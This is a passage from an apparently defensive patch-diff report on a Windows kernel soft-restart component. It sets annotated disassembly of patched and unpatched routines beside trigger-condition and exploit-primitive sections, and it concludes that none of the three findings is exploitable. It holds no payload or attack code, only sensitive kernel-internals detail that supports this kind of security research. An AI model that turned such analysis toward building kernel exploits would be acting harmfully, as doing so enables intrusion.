&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;no&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;store&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mapping&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;base&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;build&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000BC2D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r14+rbp&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000BC34&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsi+30h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000BC42&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="w"&gt;                                 &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;copy&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;page&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;array&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bytes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mapping&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x30&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000BC54&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nl"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_MmUnmapReservedMapping&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000BC66&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jb&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C000BBFD&lt;/span&gt;

&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PATCHED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x140013888&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;—&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loop&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x140013977&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;.0&lt;/span&gt;&lt;span class="n"&gt;x1400139E7&lt;/span&gt;
&lt;span class="mi"&gt;0000000140013977&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                              &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;next&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;page&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;array&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;
&lt;span class="mi"&gt;0000000140013984&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp+var_10&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;
&lt;span class="mi"&gt;000000014001398&lt;/span&gt;&lt;span class="n"&gt;D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsi+8&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;0000000140013991&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt;                                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;reserved&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mapping&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;addr&lt;/span&gt;
&lt;span class="mi"&gt;0000000140013994&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nl"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_MmMapLockedPagesWithReservedMapping&lt;/span&gt;
&lt;span class="mi"&gt;00000001400139&lt;/span&gt;&lt;span class="n"&gt;A5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r13&lt;/span&gt;&lt;span class="w"&gt;                              &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;NEW&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;write&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;chain&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;link&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;prev&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;00000001400139&lt;/span&gt;&lt;span class="n"&gt;A8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp+var_10&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;00000001400139&lt;/span&gt;&lt;span class="n"&gt;B3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdi+30h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;00000001400139&lt;/span&gt;&lt;span class="n"&gt;C4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;
&lt;span class="mi"&gt;00000001400139&lt;/span&gt;&lt;span class="n"&gt;D5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nl"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_MmUnmapReservedMapping&lt;/span&gt;
&lt;span class="mf"&gt;00000001400139E7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jb&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_140013977&lt;/span&gt;
&lt;span class="mf"&gt;00000001400139E9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp+arg_40&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r13&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="mi"&gt;0000000140013&lt;/span&gt;&lt;span class="n"&gt;A02&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r13+0&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;NEW&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;store&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;chain&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;output&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;param&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;&lt;code&gt;KsrConnectSecureLoader&lt;/code&gt; unlock path (unpatched)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;UNPATCHED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x1C000CC90&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;—&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;unlock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;executes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;before&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;connect-result&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;test&lt;/span&gt;
&lt;span class="nt"&gt;00000001C000CDA8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;                                &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;page&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;count&lt;/span&gt;
&lt;span class="nt"&gt;00000001C000CDAB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;loc_1C000CDCF&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;nothing&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;was&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;locked&lt;/span&gt;
&lt;span class="nt"&gt;00000001C000CDAD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;1&lt;/span&gt;
&lt;span class="nt"&gt;00000001C000CDB1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;loc_1C000CDC5&lt;/span&gt;
&lt;span class="nt"&gt;00000001C000CDB7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nd"&gt;__imp_MmUnlockPages&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;1&lt;/span&gt;
&lt;span class="nt"&gt;00000001C000CDC3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;loc_1C000CDCF&lt;/span&gt;
&lt;span class="nt"&gt;00000001C000CDCA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;KsrpNkUnlockPagesForLargeTransfer&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;1&lt;/span&gt;
&lt;span class="nt"&gt;00000001C000CDCF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;edi&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;edi&lt;/span&gt;&lt;span class="w"&gt;                                &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;connect&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;result&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;checked&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;AFTER&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;unlock&lt;/span&gt;
&lt;span class="nt"&gt;00000001C000CDD1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;js&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;loc_1C000CDED&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="nt"&gt;00000001C000CDFA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nd"&gt;__imp_ExFreePoolWithTag&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;free&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;context&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;failure&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;only&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;&lt;code&gt;KsrPdFreeUnusedPartitionPages&lt;/code&gt; shared-tree walk (unpatched, no lock)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;UNPATCHED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x1C000B500&lt;/span&gt;
&lt;span class="nt"&gt;00000001C000B5E0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nd"&gt;KsrpPdDatabase&lt;/span&gt;
&lt;span class="nt"&gt;00000001C000B5E7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;40h&lt;/span&gt;&lt;span class="w"&gt;                                &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;red-black&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;tree&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;root&lt;/span&gt;
&lt;span class="nt"&gt;00000001C000B6A7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;KsrPdFreePagesInRange&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;free&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;pages&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;within&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;range&lt;/span&gt;
&lt;span class="nt"&gt;00000001C000B765&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0FFFFFFFFFFFFFFFCh&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;parent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;colour-bit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;mask&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;successor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;walk&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nt"&gt;00000001C000B76E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;loc_1C000B611&lt;/span&gt;&lt;span class="w"&gt;                           &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;continue&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;traversal&lt;/span&gt;
&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;no&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ExAcquirePushLock&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;anywhere&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;function&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;KsrpNkAllocatePagesForMdl&lt;/code&gt; (Finding 1)&lt;/h3&gt;
&lt;p&gt;Reached only when the Secure Kernel issues secure-call command 0 into &lt;code&gt;KsrpNkHandleSecureCall&lt;/code&gt; (&lt;code&gt;0x1C000C720&lt;/code&gt; → &lt;code&gt;0x1C000C7FD&lt;/code&gt;) with an allocation whose MDL page array exceeds the &lt;code&gt;0x58&lt;/code&gt;-byte inline header copy. The added chain-link write initializes the persisted pages' first quadword; no in-binary path reads that field, so there is no observable fault or corruption to trigger. This is not an attacker-reachable vulnerability.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;KsrConnectSecureLoader&lt;/code&gt; (Finding 2)&lt;/h3&gt;
&lt;p&gt;Invoked during boot/soft-restart when the loader connects the secure loader. In the unpatched build the transfer pages are unlocked regardless of connection success, so no leak is triggerable. The patched change is behaviorally equivalent cleanup consolidation.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;KsrPdFreeUnusedPartitionPages&lt;/code&gt; (Finding 3)&lt;/h3&gt;
&lt;p&gt;Runs during soft-restart partition restoration via &lt;code&gt;KsrpRestoreMemoryPartition&lt;/code&gt;. The unsynchronized traversal would only be a live race if another thread mutates the &lt;code&gt;KsrpPdDatabase&lt;/code&gt; tree during that boot-restore window; such a concurrent path is not demonstrable in the unpatched build. The patched lock bracketing accompanies a redesign that introduces its own parallel workers.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h2&gt;
&lt;p&gt;No exploit primitive is supported by the two binaries.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Finding 1 adds a page-linkage field and an output parameter that no in-binary consumer reads as a pointer; there is no memory-corruption or read/write primitive.&lt;/li&gt;
&lt;li&gt;Finding 2 does not leak (unlock is unconditional in the unpatched build), so there is no resource-exhaustion primitive.&lt;/li&gt;
&lt;li&gt;Finding 3 concerns a boot-restore traversal on OS-owned data with no attacker-controlled input and no demonstrable concurrent mutator in the unpatched build; no use-after-free or read/write primitive is demonstrable.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;None of the reachable inputs here are attacker-controlled from an unprivileged context; the relevant boundaries are the Secure Kernel secure-call interface and the boot-time restoration path.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;7. Debugger PoC Playbook&lt;/h2&gt;
&lt;p&gt;No reproducing PoC is supported, because none of the three items is a demonstrable, reachable vulnerability. The verifiable behavioral differences can be observed statically at the following anchors:&lt;/p&gt;
&lt;ul&gt;
